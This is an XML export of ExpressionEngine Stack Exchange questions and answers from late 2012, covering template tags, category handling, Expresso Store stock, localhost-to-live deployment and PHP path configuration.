  <row Id="2159" PostTypeId="1" AcceptedAnswerId="2160" CreationDate="2012-12-29T15:22:53.250" Score="1" ViewCount="44" Body="&lt;p&gt;I would like to automatically add blog articles to the category &quot;Video&quot; if a video embed is pasted into the provided field. Likewise I would like to automatically remove blog articles from the &quot;Video&quot; category if the provided field is cleared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-29T16:24:49.947" Title="Automatically set/unset category based upon field value?" Tags="|add-on|categories|add-on-development|automation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2160" PostTypeId="2" ParentId="2159" CreationDate="2012-12-29T16:24:49.947" Score="1" Body="&lt;p&gt;You can use a bit of javascript / jquery to set the corresponding category. And you can add it to the publish screen by making an Accessory.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2012-12-29T16:24:49.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2161" PostTypeId="2" ParentId="2112" CreationDate="2012-12-29T17:19:38.023" Score="0" Body="&lt;p&gt;Thanks for the help everyone @nonprofit_tech. I'm using the entries and comment module to build a forum and want the urls of single entry pages formated like site.com/forum/answers/{entry_id}/{url_title}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm intending to use link rel=&quot;canonical&quot; href=&quot;{path='{segment_1}/{segment_2}/{segment_3}/{segment_4}'}&quot; so that the full url (site.com/forum/answers/{entry_id}/{url_title}) gets indexed by Google. As the entries module is looking at segment_3 to return the entry, it leaves me free to tweak segment_4 for better seo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came up with {if segment_4 == &quot;&quot;} {exp:channel:entries limit=&quot;1&quot; entry_id=&quot;{segment_3}&quot; disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot;} {redirect='forum/answers/{entry_id}/{url_title}'} {/exp:channel:entries} {/if} to guard against segment_4 being missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm concerned that if Google bot traverses the url it would see the same content at site.com/forum/answers/{entry_id} and site.com/forum/answers/{entry_id}/{url_title}, hence the redirect and the canonical tag&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2012-12-29T17:19:38.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2162" PostTypeId="1" AcceptedAnswerId="2168" CreationDate="2012-12-29T17:19:51.257" Score="2" ViewCount="2005" Body="&lt;p&gt;RE: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2086/how-to-display-channel-entry-page&quot;&gt;How to display Channel entry page?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The accepted solution doesn't seem to work for me. My &quot;products/index&quot; template has something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;10&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}&#xA;   &amp;lt;a href=/products/detail/{url_title}&quot;&amp;gt;{name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in &quot;products/detail&quot; template, I have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot;}&#xA;   &amp;lt;h2&amp;gt;{name}&amp;lt;/h2&amp;gt;&#xA;   &amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;products/detail&quot; page always shows the same record (and when you look at the tag pair, it make sense I think). How is this template supposed to know which record specifically to access? What is it about &lt;code&gt;{url_title}&lt;/code&gt; that hints to which entry to retrieve? Is there something I need to put in the tag pair to tell it to use the &lt;code&gt;{url_title}&lt;/code&gt; segment?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-01-02T22:47:55.723" Title="Channel entry not displaying" Tags="|templates|channel-entries|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2163" PostTypeId="1" AcceptedAnswerId="2170" CreationDate="2012-12-29T17:23:34.590" Score="3" ViewCount="101" Body="&lt;p&gt;I need users to select certain locations from a (possibly) tree view UI. The tree view might contain something like a list of states, with each state with a list of counties, with each county with a list of ... and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later on, I need to be able to display Channel entries wherein certain items in the tree view were selected. For example, display all Channel entries where &quot;City 1&quot; or &quot;City 18&quot; were selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a EE or addon FT solution for this?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-30T01:07:58.277" Title="Treeview field type?" Tags="|fields|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2164" PostTypeId="2" ParentId="2162" CreationDate="2012-12-29T17:40:26.447" Score="2" Body="&lt;p&gt;You could add url_title=&quot;{segment_3}&quot; to the channel entries tag in the products/detail template. &lt;/p&gt;&#xA;" OwnerUserId="541" LastActivityDate="2012-12-29T17:40:26.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2165" PostTypeId="2" ParentId="2162" CreationDate="2012-12-29T17:42:11.047" Score="1" Body="&lt;p&gt;On your details template, you can add two parameters to the entries loop that should solve this - add dynamic=&quot;no&quot; and url_title=&quot;{segment_3}&quot;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-12-29T17:42:11.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2166" PostTypeId="2" ParentId="1621" CreationDate="2012-12-29T18:02:15.787" Score="0" Body="&lt;p&gt;Turned out I needed Matrix 2.5.1. &lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2012-12-29T18:02:15.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2167" PostTypeId="1" CreationDate="2012-12-29T18:07:13.120" Score="4" ViewCount="193" Body="&lt;p&gt;I was wondering if any tags in Expresso Store just give you direct access to the exp_store_stock and exp_store_stock_options tables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do, when I display a store item, is filter the entries in the exp_store_stock table by associated entry_id. Rather than using drop-down options, which seem cumbersome as an interface, I want to have a button representing each SKU for the product that (when clicked) adds one of that variation to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, obviously, if there's 16 sizes to a t-shirt available in two colours (2 colour variations, male and female variations for each, and four sizes for each of these), then I'd want to grab just the SKUs associated with these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then if there's a zero in the stock_level column, print out a disabled button, and if not, print out an enabled button that (when clicked) adds 1 of that SKU variation to the cart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do -- that's a little trickier -- is filter this list by other product modifiers by modifier_name, and right now, I don't see how I'd do that. So what I'm looking for is to not only filter the exp_store_stock entries by entry_id, but also by the values of modifier_name that apply to that SKU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, because t-shirt SKUs describe subsets of the stock — gender (male or female), size (S, M, L, XL) and colour (red or green) — characteristics which apply to each SKU, I'd like to product some kind of output in a loop. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;colour 1 (red)&#xA;  &lt;ul&gt;&#xA;     &lt;li&gt;gender 1 (female)&#xA;        &lt;ul&gt;&#xA;           &lt;li&gt;stock of size 1 (small)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 2 (medium)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 3 (large)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 4 (x-large)&lt;/li&gt;&#xA;        &lt;/ul&gt;&lt;/li&gt;&#xA;     &lt;li&gt;gender 2 (male)&#xA;        &lt;ul&gt;&#xA;           &lt;li&gt;stock of size 1 (small)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 2 (medium)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 3 (large)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 4 (x-large)&lt;/li&gt;&#xA;        &lt;/ul&gt;&lt;/li&gt;&#xA;     &lt;/ul&gt;&#xA;&lt;li&gt;colour 2 (green)&#xA;  &lt;ul&gt;&#xA;     &lt;li&gt;gender 1 (female)&#xA;        &lt;ul&gt;&#xA;           &lt;li&gt;stock of size 1 (small)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 2 (medium)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 3 (large)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 4 (x-large)&lt;/li&gt;&#xA;        &lt;/ul&gt;&lt;/li&gt;&#xA;     &lt;li&gt;gender 2 (male)&#xA;        &lt;ul&gt;&#xA;           &lt;li&gt;stock of size 1 (small)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 2 (medium)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 3 (large)&lt;/li&gt;&#xA;           &lt;li&gt;stock of size 4 (x-large)&lt;/li&gt;&#xA;        &lt;/ul&gt;&lt;/li&gt;&#xA;     &lt;/ul&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The tricky thing is that while I might be able to accomplish this by filtering by product_opt_id, I want to filter an entry_id's SKU with a common modifier name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Product_opt_id assumes that the modifiers for every product are different between every product -- the IDs refer back to the exp_store_product_modifiers table. But if it were possible to just filter the SKUs by modifier name then I could output and use conditionals on them the way I describe in my loop. My modifier names are common to all my products: size, gender, colour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum up, I guess I'm looking for a query that says &quot;show me the SKUs associated with this entry ID that have the value of these modifier applied to them. But a way to do this with tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doable, or do I need to write a query? Can anyone nudge me toward the way to go? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I may be asking for more than what Store can do -- thanks for everyone's cogitation about this in advance!&lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2012-12-31T22:12:31.497" Title="Direct access to exp_store_stock exp_store_stock_options tables via Expresso Store tags?" Tags="|expresso-store|expresso|queries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2168" PostTypeId="2" ParentId="2162" CreationDate="2012-12-29T18:14:11.603" Score="5" Body="&lt;p&gt;Your code is correct, and should work. EE will always look at the third segment for either an &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;url_title&lt;/code&gt;, unless you specifically add &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to your Channel Entries tag. So although the suggestions that you specify &lt;code&gt;entry_id=&quot;{segment_3}&quot;&lt;/code&gt; or &lt;code&gt;url_title=&quot;{segment_3}&quot;&lt;/code&gt; will work, they should not be necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in your first code sample, you should use &lt;code&gt;{permalink=&quot;products/detail&quot;}&lt;/code&gt; or &lt;code&gt;{title_permalink=&quot;products/detail&quot;}&lt;/code&gt; - more future-proof.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-02T18:39:14.497" LastActivityDate="2013-01-02T18:39:14.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2169" PostTypeId="1" AcceptedAnswerId="2171" CreationDate="2012-12-29T20:28:00.937" Score="1" ViewCount="233" Body="&lt;p&gt;I'm trying to get the category description and some custom fields of the currently &quot;active&quot; category. By &quot;active&quot; I mean based on a URL-segment. So if my category-structure looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;websites&#xA;&lt;ul&gt;&#xA;&lt;li&gt;design&lt;/li&gt;&#xA;&lt;li&gt;development&lt;/li&gt;&#xA;&lt;li&gt;information-architecture&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;brochures&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And my url is &lt;code&gt;http://www.mydomain.com/portfolio/category/development&lt;/code&gt; i want to get the custom fields etc. from the category &lt;code&gt;websites&lt;/code&gt; (because it's the top-level parent for &lt;code&gt;development&lt;/code&gt;). What's the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Steven&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="195" LastActivityDate="2012-12-30T01:31:14.033" Title="Get the custom fields for top-level category" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2170" PostTypeId="2" ParentId="2163" CreationDate="2012-12-30T01:07:58.277" Score="2" Body="&lt;p&gt;If the issue is actually around Cities, States, Countries, then you may want to take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/reegion-select&quot; rel=&quot;nofollow&quot;&gt;REEgion Select&lt;/a&gt;, a third party add-on by @Derek Hogue who answers a number of questions here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your issue is really more about being able to base one field of the selection of another, than take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/query-field&quot; rel=&quot;nofollow&quot;&gt;Query Field&lt;/a&gt;. I haven't used it, yet, but do have a project that I've been looking at it for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though for your final display issue, I think you may want to either use a filtering system, like &lt;a href=&quot;http://isotope.metafizzy.co&quot; rel=&quot;nofollow&quot;&gt;Isotope&lt;/a&gt;—a javascript filtering method, a tagging system, either Solspace &lt;a href=&quot;http://www.solspace.com/software/detail/tag/&quot; rel=&quot;nofollow&quot;&gt;Tag&lt;/a&gt; or DevDemon's &lt;a href=&quot;http://www.devdemon.com/tagger/&quot; rel=&quot;nofollow&quot;&gt;Tagger&lt;/a&gt;. Obviously you could use custom queries as well, but I think one of the above maybe an easier approach. Tagger is free and if you don't need all the features of Solspace's module is a nice way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Treeview itself, there is no specific add-on or fieldtype that I've heard of, but I'd assume mainly because Treeview is about clustering or  hierarchical data. Generally speaking,  hierarchical groupings have been category based, meaning you create your list and sublist and subsets of data manually and kind of hope things don't change to much. You can still do this with a combination of categories, subcategories, tags/keywords, and maybe add some &lt;a href=&quot;http://jquery.bassistance.de/treeview/demo/&quot; rel=&quot;nofollow&quot;&gt;javascript&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Distributive classification, tagging, can be more flexible and responsive to your needs, while still allowing for flexible filtering of data. In terms of data entry, I think tags are probably easier, or a mixture of tags and categories (unless you are literally dealing with locations*).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are actually dealing with locations, than I'd recommend something that does assistive auto-completes. Like just allow the user to enter a postal code, then recommend city, state, region, country from that, but allow them to be modifiable.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-30T01:07:58.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2171" PostTypeId="2" ParentId="2169" CreationDate="2012-12-30T01:31:14.033" Score="1" Body="&lt;p&gt;I believe ExpressionEngine register the category on display as the active category, so from your example, the active category is 'development' NOT 'websites'. It sounds like you want to be able to pull data from the parent category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the easiest way to accomplish this is to find a &lt;a href=&quot;http://devot-ee.com/search/results/P10?keywords=categories&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;third-party add-on&lt;/a&gt;. You could probably do it with custom queries, but that may get complicated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; offers very flexible ways to pull data from categories. You could definitely use that, though it maybe overkill for your needs. But once you get use to it, you may find you want to do more with categories more frequently. Plus its free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/primary-category&quot; rel=&quot;nofollow&quot;&gt;Primary Categories&lt;/a&gt; by Solspace should also allow you to accomplish what you want. It's not free, but works more specifically on the issue you describe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/category-parents&quot; rel=&quot;nofollow&quot;&gt;Category Parents&lt;/a&gt; Works directly on the issue at hand. Grabs data from the parent category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; may also work. It's free, and allows for you to work with url segments to grab categorical information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of add-ons that deal with categories, &lt;a href=&quot;http://devot-ee.com/search/results/P10?keywords=categories&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;over 70 at Devot-ee&lt;/a&gt;, you can go for one that works specifically on your issue (&lt;a href=&quot;http://devot-ee.com/add-ons/category-parents&quot; rel=&quot;nofollow&quot;&gt;parent-child relations&lt;/a&gt;) or find a nice all purpose tool like &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWCode Categories&lt;/a&gt; or others. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either solution will work. If your site is pretty simple, I recommend just going with something like &lt;a href=&quot;http://devot-ee.com/add-ons/category-parents&quot; rel=&quot;nofollow&quot;&gt;Category Parent&lt;/a&gt;, if you think you'll need more flexibility with categories across the board, then look at GWCode.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-30T01:31:14.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2172" PostTypeId="1" CreationDate="2012-12-30T02:51:30.877" Score="0" ViewCount="302" Body="&lt;p&gt;Not sure if a new question is the right thing?  There was a question a month ago about users being able to calculate shipping on the first page of checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the template I substituted: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:shipping_method}&#xA;{if error:shipping_method}&amp;lt;p class=&quot;help-block&quot;&amp;gt;{error:shipping_method}&amp;lt;/p&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;Shipping State&amp;lt;/label&amp;gt;&#xA;{field:shipping_region}&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update Shipping&quot; class=&quot;btn&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The aim was to update &lt;code&gt;{order_shipping}&lt;/code&gt; on the same page.  This doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate some help on this.  Cheers,  Alex &lt;/p&gt;&#xA;" OwnerUserId="663" LastEditorUserId="150" LastEditDate="2012-12-31T02:55:56.500" LastActivityDate="2013-01-05T00:41:09.363" Title="shipping calculator for expresso store" Tags="|expresso-store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2173" PostTypeId="1" AcceptedAnswerId="2175" CreationDate="2012-12-30T11:18:54.320" Score="6" ViewCount="5308" Body="&lt;p&gt;When working on localhost the URLs have begun with &lt;code&gt;http://localhost/~macuser/example.com/&lt;/code&gt; and the file paths have begun with a local file path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to deploy a site once it is finished?&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2018-03-13T22:37:06.957" Title="How to deploy from localhost development server to live server?" Tags="|url|settings|deployment|path|localhost|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2174" PostTypeId="1" AcceptedAnswerId="2178" CreationDate="2012-12-30T12:13:51.977" Score="2" ViewCount="8978" Body="&lt;p&gt;I'm currently using the $_SERVER['DOCUMENT_ROOT'] variable inside my config file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ExpressionEngine this is returned : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Applications/MAMP/htdocs/devee&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In PHP (no CMS) this is returned :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Applications/MAMP/htdocs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a place, where ExpressionEngine is changing the $_SERVER['DOCUMENT_ROOT'] ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="665" LastEditorUserId="28" LastEditDate="2013-01-05T03:28:19.750" LastActivityDate="2013-01-05T03:28:19.750" Title="Difference $_SERVER['DOCUMENT_ROOT'] on ExpressionEngine and PHP" Tags="|ee2|server|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2175" PostTypeId="2" ParentId="2173" CreationDate="2012-12-30T14:36:13.003" Score="4" Body="&lt;p&gt;IMHO, I suggest you start with a config file that will work irrespective of where your current environment is - there's a good gist here: &lt;a href=&quot;https://gist.github.com/1329538&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/1329538&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a version of it here, but I haven't tested this one: &lt;a href=&quot;http://ee-garage.com/nsm-config-bootstrap&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/nsm-config-bootstrap&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you'll want to get a good deploy workflow going. I suggest using GiT for your version control and Capistrano for the deploy phase. There is a really good guide on hive logic that should get you started: &lt;a href=&quot;http://hivelogic.com/articles/deploying-expressionengine-github-capistrano&quot; rel=&quot;nofollow&quot;&gt;http://hivelogic.com/articles/deploying-expressionengine-github-capistrano&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you're migrating a db over, I suggest you look into REElocate plugin: &lt;a href=&quot;http://devot-ee.com/add-ons/reelocate&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/reelocate&lt;/a&gt; which is good for changing path variable in the database. This is a good way of uploading your database to the live server and then changing the values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably the best deploy setup I've come across so far for ExpressionEngine - most of the things that can usually get screwed up if you do them by hand are automated, and you can even roll back if something gets messed up during deploy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a lot to learn if you've not used these technologies before, but well worth it! I heartily recommend learning as much as you can about both GiT and Capistrano! Good luck!&lt;/p&gt;&#xA;" OwnerUserId="648" LastEditorUserId="28" LastEditDate="2013-01-05T03:35:28.590" LastActivityDate="2013-01-05T03:35:28.590" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2176" PostTypeId="2" ParentId="2174" CreationDate="2012-12-30T14:54:29.873" Score="3" Body="&lt;p&gt;I would assume ExpressionEngine is giving you the path to your system folder, since that is were the config.php file is located. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$_SERVER['DOCUMENT_ROOT']&lt;/code&gt; provides: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The document root directory under which the current script is&#xA;  executing, as defined in the server's configuration file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't provide the base path to your html folder; it &lt;strong&gt;provides&lt;/strong&gt; the path to the executing file/script.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-30T14:54:29.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2177" PostTypeId="2" ParentId="2173" CreationDate="2012-12-30T15:22:01.433" Score="13" Body="&lt;p&gt;If you're not currently using version control or config overrides to manage your paths... then I highly recommend, &lt;a href=&quot;http://devot-ee.com/add-ons/deeploy-helper&quot; rel=&quot;nofollow noreferrer&quot;&gt;Deploy Helper&lt;/a&gt; by Hop Studios. It places almost all the configuration parameters you want or need to change on a single screen. Which makes transition from one server to the next, much easier. This works, when you just need to move the site to a new location, regardless if its an official deploy or you just changed development servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/reelocate&quot; rel=&quot;nofollow noreferrer&quot;&gt;REElocate&lt;/a&gt; by Esp:resso is also a deployment helper. It works similar to Deploy Helper and was done by the same company that produces Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow noreferrer&quot;&gt;Master Config&lt;/a&gt; by Focus Labs. Master config works a bit differently. It gives you a process to set-up and deploy to multiple environments. It's worth having in your toolkit, and can be used for a completed project, but probably works best when you are starting a project. At least that's my opinion, others may disagree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a growing number of articles around using &lt;code&gt;version control&lt;/code&gt; with ExpressionEngine, especially around Git. That's not something you want to get into in the middle of a deploy, but definitely something to look into. We're going to be using our first GitHub, ExpressionEngine deploy and management for a project that will launch in January.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is of interest to you (and it should be), then here are some recommended starting points:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://experienceinternet.co.uk/blog/using-git-with-expressionengine-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using Git to Manage an ExpressionEngine website : Starting the&#xA;Conversation&lt;/a&gt; by Experience (Steven Lewis). &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/387/expressionengine-and-git-process&quot;&gt;ExpressionEngine and Git Process&lt;/a&gt; multiple authors here on StackExchange.    &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/118990/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Conversation on Using Git&lt;/a&gt; at Ellis Lab Forums &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.johnfaulds.com.au/journal/developing-expressionengine-sites-with-mamp-git-tower-and-beanstalk-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing ExpressionEngine&#xA;sites with MAMP, Git (Tower) and Beanstalk [Part 1]&lt;/a&gt; by John&#xA;Faulds (!)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(!)This one is my favorite reference point, just because its very close to how I want my set-up to be— local MAMP, Git, BeanStalk and Mountee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been keeping a list of resources on the topic that I've found beneficial, you can access it &lt;a href=&quot;https://kippt.com/allgood2/git-github&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; on Kippt. Hope this is helpful.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-01-05T05:13:31.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2178" PostTypeId="2" ParentId="2174" CreationDate="2012-12-30T19:17:06.767" Score="6" Body="&lt;p&gt;I would avoid using DOCUMENT_ROOT altogether, to avoid issues between servers. The doc root is specified in your apache config, and depending on your apache setup, isn't always guaranteed to give you the correct path to your root folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's much more reliable to use &lt;code&gt;dirname(__FILE__)&lt;/code&gt; (or &lt;code&gt;__DIR__&lt;/code&gt; in PHP 5.3+) for the directory of the current script, and go from there. E.g. (in your &lt;code&gt;config.php&lt;/code&gt; file):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$root = realpath(dirname(__FILE__).'/../../../');&#xA;$config['theme_folder_path'] = $root.'themes/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-12-30T19:17:06.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2179" PostTypeId="2" ParentId="2153" CreationDate="2012-12-30T19:51:07.433" Score="3" Body="&lt;p&gt;You might be running into PHP’s memory limit. You can read about how to increase that here: &lt;a href=&quot;http://www.hostucan.com/webmaster-tutorials/increase-php-memory-limit&quot; rel=&quot;nofollow&quot;&gt;http://www.hostucan.com/webmaster-tutorials/increase-php-memory-limit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2012-12-30T19:51:07.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
